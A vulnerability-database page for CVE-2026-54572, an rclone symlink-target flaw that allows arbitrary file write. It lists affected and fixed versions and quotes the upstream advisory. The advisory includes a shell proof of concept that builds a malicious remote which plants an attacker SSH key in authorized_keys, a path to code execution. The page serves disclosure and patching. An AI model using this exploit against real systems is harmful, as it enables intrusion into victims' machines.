HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 54572 rclone unvalidated symlink target in local links
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High · CVSS 7.5CVE-2026-54572GHSA-CF44-9PGV-M4XC

rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remoteCVE-2026-54572

Answer in brief

CVE-2026-54572 records a High severity (CVSS 7.5) vulnerability in rclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote. The current sources do not mark it as known exploited. The current feed maps github.com/rclone/rclone (go), github.com/rclone/rclone (go). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 14, 2026Updated Sep 10, 2026Source checked Oct 26, 2026First seen by HOL Jul 15, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 7.5
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 7.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps github.com/rclone/rclone (go), github.com/rclone/rclone (go). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
github.com/rclone/rclonego<=1.74.31.74.4
github.com/rclone/rclonego>=0 <1.74.41.74.4

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for github.com/rclone/rclone, github.com/rclone/rclone.
  2. 2Review the reported fix. Update github.com/rclone/rclone to 1.74.4; github.com/rclone/rclone to 1.74.4 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 14, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jul 15, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • GitHub security advisorygithub.com
Upstream source description

### Summary With `-l/--links`, rclone serializes symlinks as `<name>.rclonelink` text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with `os.Symlink(<object body>, <dest path>)` and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or `../` path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named `<name>.rclonelink` sorts before `<name>/...`, rclone creates the escaping symlink first and then writes a following object "inside" it; `mkdirAll`/`OpenFile` follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab — i.e. code execution. ### Details `backend/local/local.go`, `Object.Update()`: ```go } else { out = nopWriterCloser{&symlinkData} // body of <name>.rclonelink = attacker data } ... if o.translatedLink { if err == nil { if _, err := os.Lstat(o.path); err == nil { os.Remove(o.path) } // Use the contents for the copied object to create a symlink err = os.Symlink(symlinkData.String(), o.path) // <-- target NEVER validated (abs / .. allowed) } } ``` `symlinkData` is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (`mkdirAll()` → `file.MkdirAll`, then `file.OpenFile(..., O_CREATE)`) follows existing symlink components with no `O_NOFOLLOW`, so a file written under the planted symlinked directory escapes the destination. ### PoC 1) Get the official stable binary: ``` curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d . # ./rclone -> v1.74.3 ``` 2) Create an attacker-controlled "remote" (two objects) and a victim layout: ``` mkdir -p evil/pwn dest victimhome/.ssh printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink # body = abs path OUTSIDE dest printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys ls -l victimhome/.ssh # empty (before) ``` 3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share): ``` cd evil && python3 -m http.server 38080 --bind 127.0.0.1 ``` 4) VICTIM ACTION — back up the untrusted remote preserving symlinks: ``` ./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v ``` 5) Observe — a file landed OUTSIDE `./dest`: ``` ls -l dest/pwn # dest/pwn -> .../victimhome/.ssh (symlink escapes dest) cat victimhome/.ssh/authorized_keys # ssh-ed25519 AAAA_ATTACKER_KEY pwned <-- written outside dest ``` `pwn.rclonelink` sorts before `pwn/authorized_keys`, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites `~/.ssh/authorized_keys`, `~/.bashrc`, or a crontab → code execution. ### Impact An attacker who controls the contents of any remote a victim syncs with `-l/--links` gains arbitrary file write as the victim user, anywhere that user can write. Overwriting `~/.ssh/authorized_keys`, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal). ### Remediation In `Object.Update()` reject symlink targets that are absolute or escape the destination root before calling `os.Symlink` (resolve `filepath.Join(dir, target)` and require it to stay within the configured root, or refuse absolute/`..` targets), and write objects with `O_NOFOLLOW` on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a `.rclonelink` with target `/tmp/...` and a sibling file, asserting nothing is written outside the destination.

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Path Traversal
EPSS
Not reported
CWE IDs
CWE-59
Source
GitHub Security Advisories
Source checked
Oct 26, 2026
References
7 linked sources
Open source record